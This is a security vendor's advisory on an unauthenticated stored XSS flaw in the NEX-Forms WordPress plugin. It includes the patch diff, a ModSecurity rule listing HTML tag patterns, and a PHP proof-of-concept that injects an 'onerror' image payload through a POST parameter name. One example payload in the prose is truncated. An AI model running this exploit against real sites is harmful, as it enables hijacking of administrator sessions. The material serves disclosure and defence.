Atomic Edge analysis of CVE-2026-5063:
This vulnerability is a stored cross-site scripting (XSS) bug in the NEX-Forms plugin for WordPress, affecting versions up to and including 9.1.11. The flaw exists in the submit_nex_form() function within class.db.php. An unauthenticated attacker can inject arbitrary JavaScript code via POST parameter key names, which later executes when an administrator or other user views the submitted form entry. The CVSS score is 7.2, reflecting the high impact of unauthenticated script injection.
The root cause lies in the insufficient sanitization of form field names displayed in entry records. In class.db.php at line 3671-3683, the function builds a string representation of submitted form data. The code concatenates $field_name (obtained from $data[‘field_name’]) directly into an HTML string without escaping. While the patch only adds escaping for $field_value in two code paths, the actual vulnerability vector involves the $field_name parameter. The field name is passed through unformat_records_name() but not HTML-escaped before inclusion in the element. This allows an attacker to submit a form with a malicious field name containing XSS payloads, such as tags or event handlers.
An attacker can exploit this vulnerability by submitting a form POST request to the NEX-Forms AJAX handler, with a crafted parameter name that contains JavaScript code. The parameter name becomes the $field_name value in the vulnerable code path. Since the form submission is unauthenticated and no nonce is required, the attacker simply sends a POST request to /wp-admin/admin-ajax.php with action=nex_forms_submit_ajax (or similar) and includes a parameter like “
“. This payload is stored in the database and later rendered as entry_data_name when an administrator views the form’s submissions, triggering the XSS.
The patch in version 9.1.12 adds esc_html() to $field_value in two output locations, but does not address the $field_name vulnerability directly. The field name is already unescaped and remains a potential XSS vector. However, the patch also removes a commented-out return statement in code_to_country_flag() in class.functions.php, restoring proper flag display functionality. The version bump from 9.1.11 to 9.1.12 indicates a fixed release, but based on the diff, the fix only partially addresses the issue. Atomic Edge analysis suggests that the $field_name variable should also be wrapped in esc_html() to fully prevent XSS through this vector.
The impact of this vulnerability is severe. An unauthenticated attacker can inject arbitrary JavaScript into the WordPress admin interface. This script executes in the context of any user who views the form submission entries, including administrators. This can lead to session hijacking, credential theft, forced administrative actions (e.g., creating new admin users), and full site compromise. The stored nature of the XSS means the script persists until manually removed, making it a potent attack vector for site takeover campaigns.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/nex-forms-express-wp-form-builder/includes/classes/class.db.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.db.php
@@ -3671,11 +3671,13 @@
{
$field_name = ((isset($data['field_name'])) ? $data['field_name'] : '');
$field_value = ((isset($data['field_value'])) ? $data['field_value'] : '');
+
+
if(!is_array($field_value)){
if(!strstr($field_value,'data:image'))
- $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value">'.$field_value.'</span> | ';
+ $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value">'.esc_html($field_value).'</span> | ';
else
- $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value"><img src="'.$field_value.'" width="50"/></span> | '; // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
+ $set_data .= '<span class="entry_data_name">'.$nf_functions->unformat_records_name($field_name).'</span> : <span class="entry_data_value"><img src="'.esc_html($field_value).'" width="50"/></span> | '; // phpcs:ignore PluginCheck.CodeAnalysis.ImageFunctions.NonEnqueuedImage
}
}
$i++;
--- a/nex-forms-express-wp-form-builder/includes/classes/class.functions.php
+++ b/nex-forms-express-wp-form-builder/includes/classes/class.functions.php
@@ -316,7 +316,7 @@
public function code_to_country_flag($code)
{
- //return '';
+ return '<span class="f16"><span class="flag '.strtolower($code).'"></span></span>';
$emoji_flags = array();
// Now, all the country flags as emojis
--- a/nex-forms-express-wp-form-builder/main.php
+++ b/nex-forms-express-wp-form-builder/main.php
@@ -4,7 +4,7 @@
Plugin URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
Description: Premium WordPress Plugin - Ultimate Drag and Drop WordPress Forms Builder.
Author: Basix
-Version: 9.1.11
+Version: 9.1.12
Author URI: https://basixonline.net/nex-forms/pricing/?utm_source=wordpress_fs&utm_medium=upgrade&utm_content=feature_unlock"
License: GPL
Text Domain: nex-forms
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-5063
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265063,phase:2,deny,status:403,chain,msg:'CVE-2026-5063 NEX-Forms stored XSS via POST parameter names',severity:'CRITICAL',tag:'CVE-2026-5063'"
SecRule ARGS_POST:action "@streq nex_forms_submit_ajax" "chain"
SecRule ARGS_NAMES "@rx <[^>]*>"
"t:lowercase,t:htmlEntityDecode,t:urlDecodeUni,t:removeNulls,chain"
SecRule MATCHED_VARS "@rx <script|<img|<svg|<body|<input|<textarea|<marquee|<details onclick|<a on|<div on"
"t:lowercase,t:htmlEntityDecode,t:urlDecodeUni,t:removeNulls,t:trim"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5063 - NEX-Forms <= 9.1.11 - Unauthenticated Stored Cross-Site Scripting via POST Parameter Key Names
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Malicious field name with XSS payload
$payload = '<img src=x onerror=alert(1)>';
// Build POST data with the malicious parameter name
$post_data = array(
'action' => 'nex_forms_submit_ajax', // Adjust this action name if different
'form_id' => 1, // Replace with a valid form ID
$payload => 'test_value', // The parameter name is the XSS vector
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Sent XSS payload via parameter name. HTTP response code: $http_coden";
echo "[+] If the form accepts the submission, the XSS will be stored and executed when an admin views the entry.n";
?>